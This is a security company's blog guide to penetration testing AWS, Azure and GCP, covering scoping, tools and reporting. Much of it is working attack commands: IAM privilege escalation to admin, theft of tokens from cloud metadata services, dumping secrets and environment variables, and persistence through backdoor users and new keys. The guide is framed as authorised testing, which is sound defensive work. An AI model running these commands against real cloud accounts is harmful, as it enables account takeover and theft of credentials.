☁️ Cloud Security January 28, 2026 · 12 min read

Cloud Penetration Testing: AWS, Azure & GCP Guide

Cloud environments have unique attack surfaces that traditional pentest tools miss. This guide covers how to test AWS IAM, Azure AD, and GCP configurations for real-world vulnerabilities.

CS
☁️ Cloud Security
CS

Cloud penetration testing is fundamentally different from traditional infrastructure testing. The attack surface is not servers and firewalls — it’s IAM policies, service configurations, storage permissions, and the web of trust relationships between cloud services. An attacker who compromises a single Lambda function with overpermissioned IAM can achieve full AWS account takeover without touching a single EC2 instance.

Our cloud penetration testing service covers all three major cloud platforms using the methodology described in this guide. See also our AWS security assessment case study for a real-world example.

This guide covers the methodology, tooling, and most impactful attack techniques for testing AWS, Azure, and GCP environments — useful for security teams performing internal assessments and for understanding what a cloud pentest engagement should cover.


Why Cloud Testing Requires Different Skills

Traditional pentesting expertise — network scanning, web app exploitation, buffer overflows — transfers partially to cloud environments. But cloud testing requires additional domain knowledge:

  • IAM complexity: AWS alone has 300+ services each with dozens of actions. Understanding which IAM permissions allow escalation, lateral movement, or data access requires deep knowledge.
  • Service-specific attack surfaces: S3 ACLs, Lambda environment variables, ECS task roles, CloudFormation outputs, Secrets Manager policies — each service has unique misconfiguration patterns.
  • No “shells” on managed services: Attacking an RDS database or S3 bucket doesn’t give you a shell — it gives you data. Pentesters must understand how to exfiltrate and demonstrate impact without traditional PoC payloads.
  • API-first environment: Every action is an API call. Tools operate via cloud provider CLIs and APIs, not traditional network tools.
  • Shared responsibility: You’re testing what the customer controls — not the cloud provider’s infrastructure.

Cloud Penetration Testing Scope

Define scope carefully before testing:

Our cloud security practice also provides continuous posture management alongside point-in-time testing.

Typical in-scope:

  • IAM configuration (users, roles, policies, federation)
  • Compute (EC2, Lambda, ECS, EKS, GCE, Azure VMs)
  • Storage (S3, Azure Blob, GCS, EBS volumes, snapshots)
  • Databases (RDS, DynamoDB, Azure SQL, Cloud SQL, Cosmos DB)
  • Networking (VPCs, security groups, NACLs, peering, Transit Gateway)
  • Serverless (Lambda, Azure Functions, Cloud Functions)
  • Container platforms (EKS, AKS, GKE)
  • Secrets management (Secrets Manager, Key Vault, Secret Manager)
  • API gateways and service endpoints

Typical out-of-scope:

  • Cloud provider infrastructure (AWS/Azure/GCP manage this)
  • Other customers’ data (in shared/managed services)
  • Availability-affecting attacks (no DDoS)
  • Production data access beyond demonstrating the access is possible

Testing types:

  • Grey box (most common): Tester is given initial access (an IAM user with some level of permissions) and attempts to escalate privilege, pivot, and access sensitive resources
  • White box: Tester has full read access to all IAM policies, configurations, and architecture documentation — faster, more comprehensive
  • Black box (external): Starting from zero, find external-facing attack surfaces — S3 buckets, API gateways, exposed EC2 instances

AWS Penetration Testing

Phase 1: Enumeration

Starting with initial credentials (an IAM user), enumerate what access is available:

# Identify the current identity
aws sts get-caller-identity

# List permissions (if allowed)
aws iam list-attached-user-policies --user-name test-user
aws iam list-user-policies --user-name test-user

# Enumerate IAM (what can we see?)
aws iam list-users
aws iam list-roles
aws iam list-groups

# Find attached policies on roles
aws iam list-attached-role-policies --role-name <role>

# Enumerate all accessible services (broad enumeration)
# Use Pacu or enumerate manually

Tools for AWS enumeration:

  • Pacu — AWS exploitation framework with modules for enumeration, privilege escalation, persistence
  • ScoutSuite — multi-cloud security auditing tool with comprehensive AWS coverage
  • Prowler — AWS security best practices assessment
  • enumerate-iam — enumerate permissions for current credentials
# Pacu — comprehensive AWS assessment
python3 pacu.py
> import_keys <access_key_id> <secret_key>
> run iam__enum_permissions
> run iam__enum_users_roles_policies_groups
> run s3__bucket_finder

Phase 2: IAM Privilege Escalation

IAM privilege escalation is the most critical class of AWS vulnerability. If an attacker can escalate from low-privilege to admin, they own the account.

Common escalation vectors:

1. iam:CreatePolicyVersion — overwrite a policy with admin access:

# If you have iam:CreatePolicyVersion, you can add admin permissions to any policy you can update
aws iam create-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

2. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction:

# If you can pass a highly-privileged role to a Lambda function and invoke it:
# Create Lambda with admin role attached
import boto3
lambda_client = boto3.client('lambda')

code = """
import boto3
def handler(event, context):
    iam = boto3.client('iam')
    # Now running as the admin role — create admin user
    iam.create_user(UserName='attacker')
    iam.attach_user_policy(UserName='attacker', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return "Done"
"""
# Zip and deploy, invoke to escalate

3. iam:CreateAccessKey — generate credentials for another user:

# If you can create access keys for any user, create keys for an admin user
aws iam create-access-key --user-name AdminUser
# → You now have admin credentials

4. sts:AssumeRole — assume a more-privileged role:

# Find roles you can assume (check trust policies for your account)
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS]].{Name:RoleName,Trust:AssumeRolePolicyDocument.Statement[0].Principal.AWS}'

# Assume a privileged role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/PrivilegedRole \
  --role-session-name escalation-session

Tool: PACU + enumerate privilege escalation paths:

> run iam__privesc_scan
# Pacu automatically identifies and attempts privilege escalation paths

Tool: cloudsplaining, PMapper:

# PMapper — visualise IAM escalation paths as a graph
pmapper graph
pmapper query "preset privesc"
# Identifies all IAM privilege escalation paths from your current identity

Phase 3: Service-Specific Testing

EC2 Instance Metadata:

# If you have access to an EC2 instance, check the metadata service
# Potential for IMDSv1 → credential theft
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/InstanceRole

# These credentials can be extracted and used via AWS CLI:
export AWS_ACCESS_KEY_ID=<from metadata>
export AWS_SECRET_ACCESS_KEY=<from metadata>
export AWS_SESSION_TOKEN=<from metadata>
# → Now operating as the EC2 instance's IAM role

S3 Bucket Assessment:

# Find buckets (from enumeration)
aws s3api list-buckets --query 'Buckets[].Name'

# Check bucket ACLs and policies
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api get-bucket-policy --bucket <bucket-name>

# Check for public access configuration
aws s3api get-public-access-block --bucket <bucket-name>

# List contents (if readable)
aws s3 ls s3://<bucket-name>/ --recursive

# Look for sensitive files
aws s3 ls s3://<bucket-name>/ | grep -i "backup\|config\|creds\|key\|password\|secret"

Lambda Environment Variables:

# Lambda functions often store secrets in environment variables
aws lambda list-functions --query 'Functions[].[FunctionName,Runtime]'

# Dump all env vars for a function (may contain database passwords, API keys, etc.)
aws lambda get-function-configuration --function-name <function-name> \
  --query 'Environment.Variables'

Secrets Manager and Parameter Store:

# List secrets
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-arn>

# SSM Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name /production/database/password --with-decryption

CloudFormation Outputs:

# CloudFormation stacks often output sensitive information
aws cloudformation describe-stacks --query 'Stacks[].Outputs'
# May contain: database endpoints, API keys, role ARNs, internal URLs

Phase 4: Lateral Movement and Persistence

Once elevated, demonstrate lateral movement and the ability to persist:

# Create a backdoor admin user (demonstrate persistence — delete before report unless client requests)
aws iam create-user --user-name audit-user-$(date +%s)
aws iam create-access-key --user-name audit-user-xxx
# Document this — don't leave it in place

# Cross-account access via role assumption (if trust allows)
aws sts assume-role \
  --role-arn arn:aws:iam::OTHER_ACCOUNT:role/ReadRole \
  --role-session-name cross-account-access

Azure Penetration Testing

Phase 1: Enumeration with Compromised Credentials

# Login to Azure CLI
az login --service-principal \
  --username <app-id> \
  --password <password> \
  --tenant <tenant-id>

# Current identity
az account show
az ad signed-in-user show

# Enumerate subscriptions
az account list

# List all resources (what can we see?)
az resource list --query '[].{name:name, type:type, rg:resourceGroup}'

# Enumerate role assignments
az role assignment list --all --query '[].{role:roleDefinitionName, principal:principalName, scope:scope}'

# Enumerate service principals
az ad sp list --query '[].{name:displayName, appId:appId}'

Tools:

  • ROADrecon — Microsoft 365 and Azure AD enumeration and attack
  • BloodHound + AzureHound — attack path analysis for Azure AD
  • ScoutSuite — multi-cloud assessment including Azure
  • Stormspotter — Azure attack paths visualisation

Phase 2: Azure AD Privilege Escalation

Dangerous Azure AD permissions:

  • Global Administrator — full tenant control
  • Privileged Role Administrator — can assign privileged roles
  • Application Administrator — can add credentials to any app
  • Owner on subscriptions — full resource control

Attack: Add credentials to an existing App Registration:

# If you have Application Administrator or Owner on an app:
az ad app credential reset --id <app-id> --append
# → Creates new client secret for existing application
# → If app has privileged permissions, you now have those permissions

Attack: Abuse managed identities:

# If you can execute code on an Azure VM or App Service with a managed identity:
# Call the IMDS to get a token
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' \
  -H "Metadata: true"

# Use the token to call ARM API as the managed identity
TOKEN=<from above>
curl -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/<sub>/resources?api-version=2021-04-01"

BloodHound / AzureHound for attack path analysis:

# Collect Azure AD data
./azurehound list -u <user> -p <pass> -t <tenant> -o azurehound-output.json

# Import to BloodHound, run attack path queries:
# "MATCH p=shortestPath((a:AZUser)-[*1..]->(b:AZGlobalAdmin)) RETURN p LIMIT 10"

Phase 3: Azure Service-Specific Testing

Azure Key Vault:

# If you have Key Vault access:
az keyvault list
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret>

Azure Storage:

# List storage accounts
az storage account list --query '[].name'

# Check for public containers
az storage container list --account-name <account> --auth-mode login

# Check SAS token generation (can you generate tokens?)
az storage blob generate-sas ...

Azure Functions / App Services:

# Get app settings (environment variables) — may contain secrets
az webapp config appsettings list --name <app> --resource-group <rg>
az functionapp config appsettings list --name <func> --resource-group <rg>

GCP Penetration Testing

Phase 1: Enumeration

# Authenticate with compromised service account key
gcloud auth activate-service-account --key-file=compromised-key.json

# Current identity
gcloud config list

# List projects
gcloud projects list

# Enumerate IAM bindings
gcloud projects get-iam-policy <project>

# List service accounts (can we impersonate any?)
gcloud iam service-accounts list

# List compute instances
gcloud compute instances list

# List storage buckets
gsutil ls

Tools:

  • GCPBucketBrute — enumerate GCS buckets
  • ScoutSuite — GCP audit
  • GCP Workload Identity Federation abuse tools

Phase 2: GCP-Specific Attacks

Metadata server (SSRF → credential theft):

# From a compromised instance:
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
# → Returns OAuth2 access token for the instance's service account

GCS bucket misconfiguration:

# Check public access (allUsers or allAuthenticatedUsers)
gsutil iam get gs://<bucket>

# If readable:
gsutil ls gs://<bucket>
gsutil cp gs://<bucket>/sensitive-file.txt .

# If writeable (more dangerous):
gsutil cp malicious-file.txt gs://<bucket>/

Service account key exposure:

# Service account keys in source code, env vars, or metadata
gcloud iam service-accounts keys list --iam-account=<sa-email>

# Create a new key (persistence)
gcloud iam service-accounts keys create ./key.json \
  --iam-account=<sa-email>

Cloud Pentest Tools Summary

ToolCloudsPurpose
PacuAWSAWS exploitation framework
ScoutSuiteAWS, Azure, GCPMulti-cloud security auditing
ProwlerAWSCIS benchmark, security assessment
PMapperAWSIAM privilege escalation graph
ROADreconAzure, M365Azure AD enumeration and attack
AzureHound / BloodHoundAzureAzure AD attack paths
GCPBucketBruteGCPGCS bucket enumeration
CloudMapperAWSAWS network visualisation
cloudsplainingAWSIAM policy analysis
TrivyAWS/Azure/GCPCloud configuration scanning

Cloud Penetration Test Deliverables

A professional cloud pentest report should include:

Executive summary: Overall cloud security posture, key risk themes, highest-impact findings in business language.

Technical findings (for each finding):

  • Vulnerability title and severity
  • Affected resource (ARN, resource ID)
  • Attack path — how was it discovered and how would an attacker exploit it?
  • Business impact — what data or capabilities could be accessed/affected?
  • Remediation — specific IAM policy changes, configuration fixes, or architectural changes

IAM risk analysis: A summary of the most dangerous IAM privilege escalation paths discovered.

Attack narrative: A story of the tester’s highest-impact attack chain — from initial access through to maximum privilege.

Remediation roadmap: Prioritised by severity with specific commands or policy changes.


CyberneticsPlus conducts cloud penetration testing on AWS, Azure, and GCP. Our testers hold AWS Security Specialty, Azure Security Engineer, and other cloud certifications, combined with offensive security expertise (OSCP, LPT). Read our AWS security assessment case study to see the methodology in action, or contact us to scope your cloud penetration test.

#cloud penetration testing #AWS penetration testing #Azure security testing #GCP security #cloud security assessment #IAM privilege escalation

Need expert help with Cloud Security?

Our certified security team is ready to assess your environment and recommend the right solutions.

Book a Free Consultation